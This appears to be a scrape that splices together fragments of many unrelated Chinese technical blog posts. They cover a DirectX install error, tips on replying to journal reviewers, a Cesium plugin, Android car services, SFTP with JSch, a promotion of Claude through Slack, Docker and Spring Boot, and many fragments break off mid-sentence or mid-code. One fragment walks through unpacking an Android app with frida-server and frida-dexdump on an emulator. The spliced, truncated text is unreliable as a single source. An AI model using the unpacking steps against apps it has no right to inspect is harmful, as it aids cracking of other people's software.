但是在等directX自动安装时,可能会弹窗遇到一个错误码为s1023的错误(我就碰到了),提示安装失败。这个错误的解决方法在这个链接→(s1023错误)里,是英文的,我翻译成中文说一下就是:
1. 卸载: Visual C++ 2010 Redistributable Package version 10.0.40219 在控制面板里像卸游戏一样卸,注意看清楚一定要把x86和x64两个都卸载了(看清楚是2010,还有很多其他年份的名字很相似的,别搞错了)
2. 再次傻瓜式一键安装之前下载好的DirectX安装包
3. 装完DirectX后,重新把刚刚卸载掉的两个东西装上(Visual C++ 2010 Redistributable Package→下载地址)
X86 x64都安排上。也是一键安装的那种,不用做啥。(我这边安装时提示我说可以选择修复,然后我就点了修复,好像没啥毛病)
三步走下来,DirectX应该就装好了。然后我们回到主线cmake这边继续搞assimp
第四步:装完DirectX再次configure 再点一次configure, 会看到所有的标红都变白了,继续紧盯下方的运行状态:
Looking for DirectX...
DirectX_PREFIX_PATH changed.
完成一篇论文,姑且不说在实验阶段付出的努力,单单就是整理数据、构思结构、撰写英文论文、修改格式、选刊、投稿就足够让小伙伴们脱一层皮了,尤其是第一次投稿的同学,好不容易把稿件投出去等待审稿就要好几个月,其中的煎熬真的是无法言表,投过论文的同学应该都懂。尤其是等论文毕业的同学,好不容易等来了审稿结果,结果编辑给了“major revision”,也就是大修,再看看审稿人不留情面的审稿意见,密密麻麻写了好几页,真的是想死的心都有,这么严厉是不是没戏了,要不要重新投别的期刊,这么长时间的等待是不是都浪费了?
这里小编告诉大家完全不必灰心丧气,这不是说明你的论文没戏了,恰恰相反,这说明你的论文很有希望~
一般投稿后会有六种结果,分别是 Desk reject(直接拒稿)、审稿后拒稿、Resubmit(修改后重新提交)、 大修、 小修和直接接受。
最好的结果就是直接接受或者是小修,但是要求文章是接近完美的状态,这种情况比较少见,尤其是直接接受。直接拒稿的一般也不是很多,基本上就是稿件与目标期刊的范围不符或者稿件的水平远远低于期刊的要求。
剩下的就是审稿后拒稿、修改后重新提交和大修了,这些情况在SCI投稿过程中是最常见的状态了。后两者意思大概差不多,都是需要作者进行比较大的修改然后再提交进行审稿,如果审稿后拒稿那就赶紧找别的期刊吧。
如果期刊给了修改的机会,那说明期刊编辑和审稿人对你的研究还是比较感兴趣的,如果在回复审稿人问题时做到有理有据,按要求补充实验修改论文,那么还是有非常大的机会被接受的。
这里给大家打了气,让大家不要被审稿人的审稿意见吓住,但是也不要盲目乐观,文章是否被接受还是要看审稿意见的回复情况,所以在回复审稿意见及修改文章时一定要认真仔细。下面小编就介绍一下大修具体意味着什么,好让大家在收到大修意见时做到心里有数。
major revision期间,作者会从editor那里反馈到一系列的问题和评论。每个reviewer提的问题的数量可能在几个到十几个不等。这些问题和评论在绝大部分情况下,都不会是友好简单容易回答的类型。
如何正确有效且保持良好态度来进行修改和答复,直接决定了下一轮review的成功率。因为major revision并不能保证修改了就一定被接受。也经常会出现因为不重视修改,草率回复修改意见而直接被拒稿的情况。所以,major revision考验的主要是态度、勤奋和辩论能力。
另外,major revision之后的review也并非是一步成功。不少个人经验里,major revision一般都要来回修几个回合。在这种学术攻防战里,不仅消磨资源和时间,更是会摧残斗志。所以,投稿就要做好长期“抗战”的心理准备。
下面小编再来介绍一些处理大修意见的技巧,最后也会附上回复意见模板,希望能帮助到大家。
01回复审稿意见的若干原则
以下几点原则或许大家觉得“烂大街”了,但是笔者还是要在这里费点口舌,回复审稿意见的工作一定是一项细致入微的工作,很多人往往因为细节原因,败下阵来,请大家有则改之,无则加勉。
01态度要时刻保持谦逊
上面已经介绍了,这里就不多说了,千万不要将你的不满体现在邮件之中。
02一定要对每一条审稿意见进行回复
对于多位审稿专家的意见,要逐条回复:
第一要避免遗漏,保证全部答复;
第二要避免将多位审稿人的意见归纳整合成一条回复,有效回复要保持“一条意见对应一条回复”的准则,切不可抱有侥幸心理,以免有避重就轻之嫌。
就比如,如果有条审稿意见为:我觉得这个稿子很好啊,论据很充足。这是不是就没有必要回复了?当然不是,必须要回复滴:非常感谢您对文章的认可!
再比如,我遇到的三个审稿人给出的2-3个相似的审稿意见,这种情况下我在回复信中需要重复回答吗?这样做会不会让审稿人感觉我在粘贴复制答案?当然需要,每一位审稿人都是独立的,他只能看到你对他的回应,看不到你对其他人的回应。
03注意回复的有效时间
对审稿专家的答复时间,要掌握好节奏。原则是要让审稿专家觉得 “你没有敷衍他们,你认真看了审稿意见,并郑重而谨慎地准备好答复了”。
一般小修要至少1周以后再投出,大修至少3周以后。既不要急于回复,也不要压着Deadline投出。当然,一般你有一次申请延长时间的机会,要好好把握。
04反复检查到天荒地老
所谓百密一疏,有些人往往提交答复以后,发现图片上传错了,或者发现作者提交错误。这些都是不应该的,一定要反复检查,确保万无一失,避免返工,费时费力。
05必要的套话
①感谢审稿专家辛苦的工作啦,花时间花精力审阅并考虑我的稿子,谢谢啦~
②我的稿子没有一稿多投,所有的作者都同意文稿的内容,文章符合道德准则也收到相关组织的允许,请接受吧拜托拜托~
02正确回复审稿意见的技巧
回复审稿专家的材料,要有两份:一份是返修的文稿,一份是审稿意见的回复信(即修改说明)。当然,如果你需要给编辑回复,还需要一份cover letter;2. 为了便于编辑和审稿专家的高效查看,审稿人的问题和自己的回复,建议使用不同的字体颜色进行标注,从而突出你的回复,方便审稿专家的审阅工作;3. 针对多位审稿专家,可以在回复信中做个说明,针对专家A的意见,返修的稿件中用红色显示;针对专家B的意见,返修的稿件中用绿色显示等(按照这个指导文件,将返修稿格式弄好),大大方便了不同审稿专家的查看工作;4. 在返修的文稿中添加行号,一方面方便审稿人查看和说明需要修改的位置,另一方面也方便你自己的描述;5. 返修的文稿一定要 “修订”模式,这是行规。如果修改稿没有任何的标注,将很可能直接被退稿,审稿专家肯定是有点上火的:不做标注怎么知道哪里作了修改?让我猜?6. 简单但是容易犯的错误:对于多作者文章,全篇要用we或者our 。 03回复审稿意见的模板
小编翻了翻自己以前写的回复信,给大家总结了两套模板。
下面这个是小编自己以前写的一个模板,拿出来分享给大家。
Dear Editor XX and Reviewers,
Thanks very much for taking your time to review this manuscript. I really appreciate all your comments and suggestions!
关键词:Cesium、IndexDB、Data Encryption、浏览器缓存、网络传输、数据加密
一、项目简介 CesiumNetworkPlug.js 是一个为 Cesium 开发的 数据传输功能 拓展插件,具备以下两个核心功能
1、浏览器缓存 模块名:OfflineCacheController
简介:增加对浏览器本地缓存的支持,它使用 indexDB 离线缓存技术管理 影像图层、地形、3DTiles模型 等资源数据。
原理:在 Cesium 发送 资源请求(图层、地形、模型)前,判断本地是否有缓存存在,如果存在则优先使用本地缓存,本地缓存策略能 极大提升 场景的二次加载速度。
2、数据加密 模块名:DecryptionController
背景:部署在公网的云服务器的 Cesium WebGIS 项目时常面临着严重的数据安全威胁。如果没有做好安全措施,不怀好意的第三方开发者只需要写一个简单的爬虫,就能把 Web 服务器中的 3DTiles、高精度影像图层、地形数据、矢量数据 等静态资源全部 Download 走!
简介:配合服务端的 Cesium 数据加密传输的插件,将静态资源数据在服务端通过加密算法生成为加密格式,再传输给客户端;前端根据密码自动解密复为原始数据。
原理:如需要使用本功能,需要按以下两个步骤进行操作
NodeJs 服务端
本仓库提供了用于数据加密的库,可在 Web服务器中将数据加密后返回 http 请求,示例代码可看下文
浏览器端
引入后,配置好密码即可自动用于对资源路径请求进行代理,并解密。
二、使用方式 1、链接地址 在线体验:http://101.43.223.126:5000/插件下载 完整包:http://101.43.223.126:5000/CesiumNetworkPlug/dist/CesiumNetworkPlug.min.js加解密函数库:http://101.43.223.126:5000/CesiumNetworkPlug/dist/CryptoUtil.min.js 离线 Demo下载:http://101.43.223.126:5000/Release.rar 2、Web 端 引入插件:
<!-- 需要提前将 Cesium 库引入 --> <script src="./lib/Cesium/^1.103/Cesium.js"></script> <link rel="stylesheet" href="./lib/Cesium/^1.103/Widgets/widgets.css"> <link rel="stylesheet" href="./css/main.css"> <!-- OfflineCacheController 的实现依赖 localforage 第三方库--> <script src="
.tableClassname { background-color: rgba(0, 0, 0, 0); ::-webkit-scrollbar { width: 6px; height: 6px; background-color: rgba(135, 205, 254, 0); } ::-webkit-scrollbar-track { box-shadow: inset 0 0 6px rgba(0, 0, 0, 0.3); background: rgba(255, 255, 255, 0); } /*定义滑块 内阴影+圆角*/ ::-webkit-scrollbar-thumb { border-radius: 5px; box-shadow: inset 0 0 6px rgba(0, 0, 0, 0.3); background-color: rgba(255, 255, 255, 0.3); } ::-webkit-scrollbar-thumb:hover { border-radius: 5px; box-shadow: inset 0 0 6px rgba(0, 0, 0, 0); /*background-color:rgba(7, 170, 247, 1);*/ cursor: pointer; } // 表格行的背景色 .
1 FDBus简介 FDBus 基于 Socket (TCP 和 Unix domain) 之上的IPC机制, 采用 Google protobuf 做序列化和反序列化。 FDBus还支持字符串形式的名字作为server地址。通过 name server 自动为 server 分配Unix domain 地址和 TCP 端口号, 实现 client 和server 之间用服务名字寻址。一句话描述:FDBus (Fast Distributed Bus) 是一种 IPC 机制, 用于进程间通信。
特点:
分布式:基于TCP socket和Unix Domain socket(UDS),既可用于本地IPC,也支持网络主机之间的IPC;
跨平台:目前已在Windows,Linux和QNX上验证;
高性能:点对点直接通信,不通过中央Hub或Broker转发;
安全性:能够为server的方法调用也事件广播配置不同等级的访问权限,只有权限足够高的client才能特点方法和接收特定事件;
服务名解析:server地址用名字标识,通过name server注册服务和解析名字,从而server可以在全网络任意部署。
2 车载Android设备间通讯 我们知道车载Android设备不止一台,如果我们要在中控和仪表盘这两个Android系统设备之间要进行通信怎么实现呢?同学们思考一下
不同Android设备间的通信已经无法通过Binder、Broadcast、Service来完成,所以我们是否可以参考FDBus通过Socket来进行不同Android设备的通讯呢?下面我们来看看大致思路:
通过Socket+动态代理实现简单的跨设备通讯:
1.YFDBus库中分为IPCNameManager类:实现客户端Socket的管理,动态代理的相关的逻辑;NameServerManager类:服务端的Socket管理。
2.Server模块为服务端,依赖YFDBus库,初始化时服务注册到IPCNameManager中,提供自定义的服务。接收到客户端Socket发送过来的消息后,将该消息解析做出响应返回对应的数据给客户端。
3.Client模块为客户端,依赖YFDBus库,通过Socket实现对Server端的服务发现,确实是数据传输后使用动态代理解析来自Server的响应数据,得到的服务对象。然后通过该对象进行服务调用,确实就是Socket发送数据到Server做处理然后给出响应,来实现服务的发现和调用。
最简单的理解就是:
1.通过Socket客户端向服务端发送消息,实现服务注册、服务发现、服务调用。
2.通过动态代理的方式获取到服务端的类及方法在客户端进行调用。
3 代码实现 3.1 思路图 3.2 核心代码 3.2.1 项目结构 下面我们来看看关键的代码:
3.2.2 Client客户端模块 客户端INameServer.java,同服务端的INameServer目的是两边保持一致,在对应模块直接调用。
package com.
1.准备环境
1.夜神模拟器
2.pyhton3.8
3.frida的版本 16.0.17
4.frida-dexdump
2.设置adb连接
我们打开夜神模拟器所在的文件夹,里面有自带的adb,我们在这个文件夹里面打开cmd。在里面链接上夜神模拟器。
adb devices 我这边显示链接成功了。
3.设置frida链接
我们需要下载frida-server,并将其pull到模拟器里面去。这个frida-server的版本要和frida一致。我的frida版本是16.0.17的,对了,版本最好是16及以上。不然frida-dexdump会因为版本不匹配,出现问题
adb push frida-server-16.0.17-android-x86 /data/local/tmp/frida-server-16.0.17-android-x86 先将frida-server-16.0.17-android-x86 上传到模拟器里面
接下来,进入adb shell,设置frida-server-16.0.17-android-x86权限,并运行。
adb shell su cd /data/local/tmp chmod 755 frida-server-16.0.17-android-x86 ./frida-server-16.0.17-android-x86 4.设置abd端口转发
我们在同一个文件夹下打开cmd
adb forward tcp:27042 tcp:27042 adb forward tcp:27043 tcp:27043 查看进程,输出说明已经安装成功
frida-ps -U 5.开始脱壳
我们先打开我们需要脱壳的程序
frida-ps -Ua 我们来用这个命令来获取我们要脱壳的包名
获取到包名后,我们开始脱壳
可以看到,已经成功运行了。我们在当前文件夹就可以看到脱壳的好几个dex了,现在我们可以拿到jadx进行分析了
1 车载启动流程 车载Android启动流程基本是在Android系统的启动流程中,多了Car相关服务。其他流程基本一致,下面我们来看一下Android系统的启动流程。
1.1 Android系统启动流程 Android系统的启动,从设备的开机键长按开始到Android桌面展示,这个完整流程就是Android系统启动的流程。从系统层次角度可分为Linux 系统层、Android 系统服务层、Zygote进程模型三个阶段;从开机到启动Android桌面完成具体细节可分为Android系统启动的七个步骤。下面我们来分析一下:
1.1.1 启动电源启动系统 触当电源按下时引导芯片从预定义的地方(固化在ROM)开始执行。加载引导程序BootLoader到RAM中,然后执行。
1.1.2 启动BootLoader引导程序 引导程序BootLoader是在Android操作系统开始运行前的一个小程序,它的主要作用是将AndroidOS拉起来。
1.1.3 启动linux内核 当内核启动时,设置缓存、被保护存储器、计划列表、加载驱动。当内核完成系统设置后,它首先会在系统文件中寻找init.rc文件,并启动init.rc进程。
1.1.4 启动init进程 init进程启动做了很多工作,但是总的来说主要就是做了一下三件事:
(1)创建和挂载启动所需文件目录。 (2)初始化和启动系统属性服务。
(3)解析init.rc配置文件并启动Zygote进程。
1.1.5 启动zygote进程孵化器 程序上app_process进程启动zygote进程。zygote主要创建Java虚拟机并为Java虚拟机注册JNI方法;创建服务端Socket;预加载类和资源;启动SystemServer进程;等待AMS请求创建新的应用进程。
1.1.6 启动systemServer进程 创建并启动Binder线程池,这样可以和其他进程进行通信。
创建SystemServiceManager,其用于对系统的服务进行创建、启动和生命周期的管理。
启动系统中的各种服务。包括我们熟悉的AMS、PMS、WMS。
1.1.7 启动Launcher 被SystemServer启动的AMS会启动Launcher,Launcher启动后会将已安装应用的图标显示在桌面上。
1.2 车载Android启动的区别 车载Android启动是在前面1.1Android系统启动流程中SystemServer开始,有区别。车载Android在SystemServer中启动独有的CarService。下图虚线部分:
2 车载CarService启动 CarService是车载Android系统的核心服务之一,所有应用都需要通过CarService来查询、控制整车的状态。不仅仅是车辆控制,实际上CarService几乎就是整个车载Framework最核心的组件。提供了一系列的服务与HAL层的VehicleHAL通信,进而通过车载总线(例如CAN总线)与车身进行通讯,同时它们还为应用层的APP提供接口,从而让APP能够实现对车身的控制与状态的显示。
CarService启动流程和汽车相关的服务的启动主要依靠一个系统服务CarServiceHelperService开机时在SystemServer中启动。
2.1 CarServiceHelperService启动 SystemServer进程启动后会调用main()->run()->startOtherService()方法,通过判断当前系统是否是车载分支的版本,是则创建CarServiceHelperService。
package com.android.server; // ... public final class SystemServer { // ... /** * Starts a miscellaneous grab bag of stuff that has yet to be refactored and organized.
上代码,加载页面的时候编写此代码
document.addEventListener('keydown', function (event) { if ((event.ctrlKey === true || event.metaKey === true) && (event.which === 61 || event.which === 107 || event.which === 173 || event.which === 109 || event.which === 187 || event.which === 189)) { event.preventDefault(); } }, false); // Chrome IE 360 window.addEventListener('mousewheel', function (event) { if (event.ctrlKey === true || event.metaKey) { event.preventDefault(); } }, { passive: false }); //firefox window.addEventListener('DOMMouseScroll', function (event) { if (event.
目录 前言一、所需依赖二、工具类三、测试1.判断指定目录是否存在2.创建一个文件夹3.删除指定文件4.把文件上传到服务器上5.从服务器上下载文件6.执行Linux命令 前言 有时候我们需要让从代码里远程连接服务器进行文件上传、下载、判断文件路径是否存在、创建文件夹等操作。
这时候就用到了sftp。常见的三个库是:JSch、SSHJ 和 Apache Commons VFS它们都能实现远程连接服务器。
本文主要讲解利用JSch远程连接服务器。
一、所需依赖 maven如下:
<dependency> <groupId>com.jcraft</groupId> <artifactId>jsch</artifactId> <version>0.1.55</version> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.11.0</version> </dependency> 二、工具类 SftpUtil 工具类如下:
import com.jcraft.jsch.*; import org.apache.commons.io.IOUtils; import java.io.IOException; import java.io.InputStream; import java.nio.charset.Charset; import java.util.Properties; public class SftpUtil { private static JSch jsch; private static Session session = null; private static Channel channel = null; private static ChannelSftp channelSftp = null; //服务器用户名 private String ftpUserName; //服务器密码 private String ftpPassword; //服务器ip private String ftpHost; //服务器端口 private String ftpPort; public SftpUtil() { } public SftpUtil(String ftpUserName, String ftpPassword, String ftpHost, String ftpPort) { this.
特点:
Claude,比较适合中文用户,目前无需翻墙(未来不清楚),对于中文问题有所优化,如果你无法使用ChatGPT,推荐你使用Claude,消费非常不错,回复能力强和速度快!
导读:
A)首先你需要在slack上注册一个账号:【点击注册链接】
B)在工作区添加应用,加入 Claude 即可 :【点击关联】
操作步骤:
一、在Slack上注册账号并关联Claude
1. 访问 Slack 注册Slack账号。填写邮箱、密码和用户名,验证邮箱后注册成功。
2. 登录Slack,点击左侧菜单的“应用”选项进入应用目录。在搜索框中输入“Claude”,找到“Claude”应用并点击“添加”按钮将其添加到工作区。
3. 添加成功后,您就可以在Slack中与Claude进行交互和对话。在任何频道的输入框内@提到“Claude”即可开始对话。
二、与Claude进行中文对话
1. 在Slack的任何频道输入框内@“Claude”,然后输入您的中文问题或陈述,回车发送。
2. Claude会自动识别您的中文意图并作出回复。它会根据上下文提供最符合语境的回答。
3. 如果Claude的首次回复无法理解您的意思,您可以通过重新输入中文加以补充说明。Claude会更新语境,作出全新的回复。
4. 您可以像与人聊天一样,随意提问或分享想法。Claude能够就各种话题与您进行长时间的对话。当对话结束,您只需不再回复Claude。
5. 如果Claude给出的回复无法满足您,您可以点击Claude回复中的“提供反馈”按钮,填写反馈意见。Claude团队会定期查看用户反馈,不断优化Claude的性能。
三、Claude的使用体验
1. 与人聊天般自然流畅的体验,回复速度快且符合语境。
2. 覆盖日常各种话题,包括新闻时事、共同兴趣爱好、工作学习等领域。
3. 零成本使用,无须付费也无须翻墙,使用Slack即可享受Claude服务。
4. 定期更新,不断学习和进步,回复能力和准确度持续提高。
使用Claude与其对话,可获得极佳的人机交互体验。它是一款功能强大而又易于使用的中文AI聊天机器人,值得一试。如您有任何问题或反馈,也请在评论中告知,我们将进行解答和改进。
此实践案例由课堂上学习ListView控件提供。先上效果图,使用Listview控件实现一个简单的购物商城界面
显然,界面由Textview与ListView构成,看一下XML代码
父布局使用LinearLayout布局,我也是比较喜欢用该布局的,使用orientation属性来设置布局的方向,此时vertical即为垂直方向,例如放置1-2-3,3个Button按钮,则会从页面上至下显示1-2-3按钮。其余控件Textview用来当作一个页面标题。ListView则是本期主题的探讨对象,从名字上可以理解他的显示效果是一个列表List形式。后面还会学习到另外的列表显示控件,但对于Listview而言功能过于基础,一般仅仅用来显示垂直方向的列表显示。(在实际开发中,会遇到需要横向现实的列表或瀑布流等)
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" tools:context=".MainActivity38"> <TextView android:layout_width="match_parent" android:layout_height="wrap_content" android:textSize="30dp" android:text="购物商城" android:background="@color/Blue" android:textColor="#ffffff" android:gravity="center"/> <ListView android:dividerHeight="20dp" android:padding="10dp" android:layout_marginTop="10dp" android:layout_width="match_parent" android:layout_height="match_parent" android:id="@+id/lv"/> </LinearLayout> 使用LinearLayout布局,看一下Activity的Java代码
在代码中我额外添加了底部view和表尾的功能,在注释中已经标出
本文是一个简单的ListView示例,所以其列表数据为死数据,存放在了数组之中,包括商品标题titls、商品价格prices、商品图片icons(通过R.drawable来获取到存放在drawable文件夹下的图片)。
public class MainActivity38 extends AppCompatActivity { ListView lv; String []titls={"桌子","苹果","蛋糕","线衣","猕猴桃","围巾"}; String []prices={"1800元","10元/kg","300元","350元","10元/kg","280元"}; int []icons={R.drawable.table,R.drawable.apple,R.drawable.cake,R.drawable.wireclothes,R.drawable.kiwifruit,R.drawable.scarf}; myAdapter myAdapter=new myAdapter(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main38); lv=findViewById(R.id.lv); //底部view View view=View.inflate(MainActivity38.this,R.layout.list_footer,null); // 添加表尾 lv.addFooterView(view); //设置适配器 lv.setAdapter(myAdapter); } class myAdapter extends BaseAdapter{ @Override //获取List长度 public int getCount() { return titls.
当使用HC-05蓝牙模块时,需要将其连接至USB转TTL模块,连接方式为:RXD接至TX、TXD接至RX、VCC连接至VCC(5V-5V)、GND连接至GND。无需连接EN引脚。
将USB转TTL模块连接至电脑,并打开串口调试助手。要进入AT指令模式,首先需要将AT引脚置高,在上电(按住蓝牙模块上的按键再接通电源)。当蓝牙模块的状态灯变成慢闪时,就表示已经成功进入AT模式。设置AT模式,具体的AT指令可以参考HC05 AT指令集。注意,在AT模式下通信波特率为38400,停止位为1个,无奇偶校验。
要配置模块相关的参数,可以进行以下步骤:
恢复出厂设置:发送AT+ORGL指令设置设备名称:发送AT+NAME=MyBluetooth指令,其中“MyBluetooth”为您所希望设置的名称。可通过AT+NAME?进行查询。设置/查询模块角色:发送AT+ROLE=Param指令,其中Param取值有0(从机)、1(主机)和2(回环角色)。在这里我们需要将其设置为从机模式,即发送AT+ROLE=0指令。如果查询返回+ROLE:0,则该模块已经是从机模式,无需再次设置。设置配对码:发送AT+PSWD=Param指令,其中Param为您所希望设置的配对码。默认通常为1234或0000,可通过AT+PSWD?进行查询。设置串口通讯参数:发送AT+UART=115200,1,0指令,其中115200为蓝牙通信串口波特率,停止位为1位,无校验位。可通过AT+UART?进行查询。 最后,要返回正常工作模式,需要重新上电模块(USB转TTL模块连接至电脑,无需按按键,小灯快速闪烁,处于待连接状态),并将手机蓝牙与蓝牙名称为“MyBluetooth”的设备进行配对(输入配对码1234)。打开手机端蓝牙调试助手,寻找名称为“MyBluetooth”的设备(会有部分延迟,建议多试几个软件,名字不好找的可以找已配对的设备,方面寻找),开始蓝牙通信。
stm32cubemx正常配置LED,uart1,uart2(利用串口助手查看手机指令)。
/* USER CODE END Header */ /* Includes ------------------------------------------------------------------*/ #include "main.h" #include "usart.h" #include "gpio.h" /* Private includes ----------------------------------------------------------*/ /* USER CODE BEGIN Includes */ /* USER CODE END Includes */ /* Private typedef -----------------------------------------------------------*/ /* USER CODE BEGIN PTD */ /* USER CODE END PTD */ /* Private define ------------------------------------------------------------*/ /* USER CODE BEGIN PD */ /* USER CODE END PD */ /* Private macro -------------------------------------------------------------*/ /* USER CODE BEGIN PM */ /* USER CODE END PM */ /* Private variables ---------------------------------------------------------*/ /* USER CODE BEGIN PV */ /* USER CODE END PV */ /* Private function prototypes -----------------------------------------------*/ void SystemClock_Config(void); /* USER CODE BEGIN PFP */ /* USER CODE END PFP */ /* Private user code ---------------------------------------------------------*/ /* USER CODE BEGIN 0 */ char str1[]="
装 KVM 以及其他相关虚拟化软件包:
sudo apt install -y qemu-kvm virt-manager libvirt-daemon-system virtinst libvirt-clients bridge-utils
启用虚拟化守护进程(libvirtd)
在所有软件包安装完毕之后,通过如下命令启用并启动 libvirt 守护进程:
$ sudo systemctl enable --now libvirtd
$ sudo systemctl start libvirtd
另外,请将当前登录用户加入 kvm 和 libvirt 用户组,以便能够创建和管理虚拟机。
$ sudo usermod -aG kvm $USER
$ sudo usermod -aG libvirt $USER
当 KVM 安装完成后,你可以使用图形管理工具 virt-manager 创建虚拟机。你可以在 GNOME 搜索工具中搜索 Virtual Machine Manager 以启动。
Virt-manager
Mann-Kendall 检验——一种非参数检验方法 Mann-Kendall 方法是一种非参数统计检验方法,其优点是不需要样本遵从一定的分布,也不受少数异常值的干扰,更适用于类型变量和顺序变量,适用性强,计算也比较方便。该方法不但可以检验时间序列的变化趋势,还可以检验时间序列是否发生了突变。
Mann-Kendall 趋势检验 (一)Mann-Kendall 趋势检验的原理
统计量S——当n>8时,统计量 S大致地服从正态分布,其均值为0
方差Var(S)
标准化统计量 Zc——Zc服从标准正态分布
衡量趋势大小的指标β——正的β值表示“上升趋势”,负的β值表示“下降趋势”(“各个台站的倾斜度β均为正值,这就意味着近 50 年来各台站的年降水量均呈现出一定上升趋势,但是以统计检验结果来看,各台站降水量增加的趋势并不显著”)以统计检验结果来检验增加的趋势是否显著
Mann-Kendall 突变检验 (一) Mann-Kendall 突变检验的原理
秩序列sk——对于时间序列 X(含有n 个样本),顺序构造一个秩序列,秩序列是第i个时刻数值大于j个时刻时,数值个数的累加。
统计量UFk——sk、sk的均值E(sk)、sk的方差Var(sk)组成。UFk为标准正态分布,它是按时间序列X的顺序(x1,x2…xn)计算出的统计量序列,给定显著性水平α,查正态分布表,若 UFi>Uα,则表明序列存在明显的趋势变化。
再按时间序列X的逆序(xn,x(n-1),…,x1),重复上述过程,并且令 UBk=UFk(k=n,n-1…,1),UB1=0。
(二)分析结果(我们一般取显著性水平 α=0.05,那么临界值 U0.05 = ±1.96)
将UFk和UBk两个统计量序列曲线和±1.96两条直线均绘在一张图上。
1、若UFk和UBk的值大于0,则表明序列呈上升趋势,小于0则表明呈下降趋势。
2、当它们超过临界直线时,表明上升或下降趋势显著,超过临界线的范围确定为出现突变的时间区域。特别的——如果UFk和 UBk两条曲线出现交点,且交点在临界线之间,那么交点对应的时刻便是突变开始的时间。“进一步观察 UFk 和UBk曲线的交点发现其位置在1990年,这表明焉者气象站的气温变化趋势,于1990 年开始发生转折,出现了突变。”
爱心代码 1.使用C语言实现爱心代码 C语言代码如下:
#include<stdio.h> #include<Windows.h> int main() { float x , y, a; for (y = 1.5; y > -1.5; y -= 0.1) { for (x = -1.5; x < 1.5; x += 0.05) { a = x * x + y * y - 1; putchar(a * a * a - x * x * y * y * y <= 0.0 ? '*' : ' '); } system("
一、Linux安装 1.1 网卡设置 如果诸位在启动服务器时未加载网卡,则会导致 IP 地址初始化失败。
可以采用以下的方式来解决。
首先使用 ip addr 来查看服务器的 ip 地址。 修改网络初始化配置,设定网卡在系统启动时初始化。 cd / # 进入根目录 cd etc # 进入 etc 目录 cd sysconfig # 进入 sysconfig 目录 cd network-scripts # 进入 network-scripts vi ifcfg-ens33 # 编辑 ifcfg-en33 文件 这里补充一下关于vi的按键操作 按 <i> 键,进入光标状态。移动光标,找到要修改的部分,再修改内容。按 <ESC> 键,退出光标状态。再敲 :wq --> 最后按 <Enter> 键,成功保存退出 可以看到 BOOTPROTO=dhcp ,ONBOOT=no。我们把其改为 ONBOOT=yes 就行。
ONBOOT 是指明在系统启动时是否激活网卡,只有在激活状态的网卡才能去连接网络,进行网络通讯。 之后重启虚拟机即可。
1.2 Linux目录介绍 bin 存放二进制可执行文件boot 存放系统引导时使用的各种文件dev 存放设备文件etc 存放系统配置文件home 存放系统用户的文件lib 存放程序运行所需的共享库和内核模块opt 额外安装的可选应用程序包所放置的位置root 超级用户目录sbin 存放二进制可执行文件,只有 root 用户才能访问tmp 存放临时文件usr 存放系统应用程序var 存放运行时需要改变数据的文件,例如日志文件 二、Linux常用命令 2.
目录
一、Docker镜像的分层
二、Docker镜像的创建
1. Docker镜像
2.Docker镜像的创建方法(挺重要)
①基于已有镜像的创建
②基于本地模板创建 3.基于Dockerfile创建 三、Dockerfile实战
1.构建apache容器服务
2.构建sshd容器服务 3.构建systemctl镜像 4.搭建nginx容器服务 四、搭建Tomcat容器服务 五、构建MySQL镜像 一、Docker镜像的分层 Docker镜像分为四层
Dockerfile 中的每个指令都会创建一个新的镜像层
镜像层将被缓存和复用
当Dockerfile的指令修改了,复制的文件变化了,或者构建镜像指定的变量不同了,对应的镜像层缓存就会失效
某一层的镜像缓存失效之后,它之后的镜像层缓存都会失效
镜像层是不可变的,如果在某一层中添加一个文件,然后再下一层中删除它,则镜像中依然会包含该文件
二、Docker镜像的创建 1. Docker镜像 应用发布的标准格式
支撑一个Docker容器的运行
2.Docker镜像的创建方法(挺重要) 基于已有镜像创建
基于本地模板创建
基于Dockerfile创建 (实际环境中用的最多)
①基于已有镜像的创建 将容器里面运行的程序及运行环境打包生成新的镜像
docker commit [选项] 容器ID/名称 仓库名称:[标签]
-m 说明信息
-a 作者信息
-p 生成过程当中停止容器的运行
## 创建容器
docker create -it centos:7 /bin/bash
docker commit -m "new" -a dakao ee9dbcd1dc2b daoke:test
## commit 是提交
docker images | grep dakao ②基于本地模板创建 a.
离散度量空间中存在稠密集吗 我们常说实数集是稠密的,有理数集是稠密的,从直观上理解稠密集就是这个集合里的点是密集分布的,任何一个点的任意小的领域里都至少包含一个其他的点。
那在推广到一般度量空间中时,有以下定义,若 A A A是度量空间 χ \chi χ的子集,且 A ‾ = χ \overline{A}=\chi A=χ,则称A是稠密集。我们自然的想到,离散度量空间中也具有稠密集吗?这似乎是反直觉的,实际上是我们的直觉使我们陷入了思维误区,我们习惯于用欧式距离去思考,但离散度量空间中的度量与欧式距离大相径庭,因此我们需要严谨的去思考。
首先给出离散度量空间的定义:
若E是一个离散度量空间,则E中没有聚点,每一个点集都是孤立点。
举一个离散度量空间的例子:
D x y = { 1 x ≠ y 0 x = y \begin{equation} D_{xy}=\begin{cases} 1 &x\neq y\\ 0 & x=y \\ \end{cases} \tag{1} \end{equation} Dxy={10x=yx=y(1)
显然, E E E本身就是一个稠密集。
但我们可以证明的是,离散度量空间的真子集都不是稠密集
稠密集与稠密子集的区别 在学习稠密集时我遇到了这样一个问题,一个集合是稠密集的充要条件是 A A A是度量空间 χ \chi χ的子集,且 A ‾ = χ \overline{A}=\chi A=χ,那么在实数域 R R R中,开区间 ( 1 , 2 ) (1,2) (1,2)的闭包 ( 1 , 2 ) ‾ \overline{(1,2)} (1,2)等于 [ 1 , 2 ] [1,2] [1,2],并非整个度量空间 R R R,那么 ( 1 , 2 ) (1,2) (1,2)不是稠密集吗,这显然是有问题的。实际上出现这种错误的原因是对定义的混淆。
1.SpringBoot自动装配原理详解 要理解SpringBoot自动装配原理肯定离不开@SpringBootApplication注解,如下图所示。
点进去之后可以发现@SpringBootApplication注解是由许多注解组成,但真正核心的注解只有下面三个:
1.1 @SpringBootConfiguration 注解 点进@SpringBootConfiguration 注解,可以发现其核心注解为@Configuration注解:
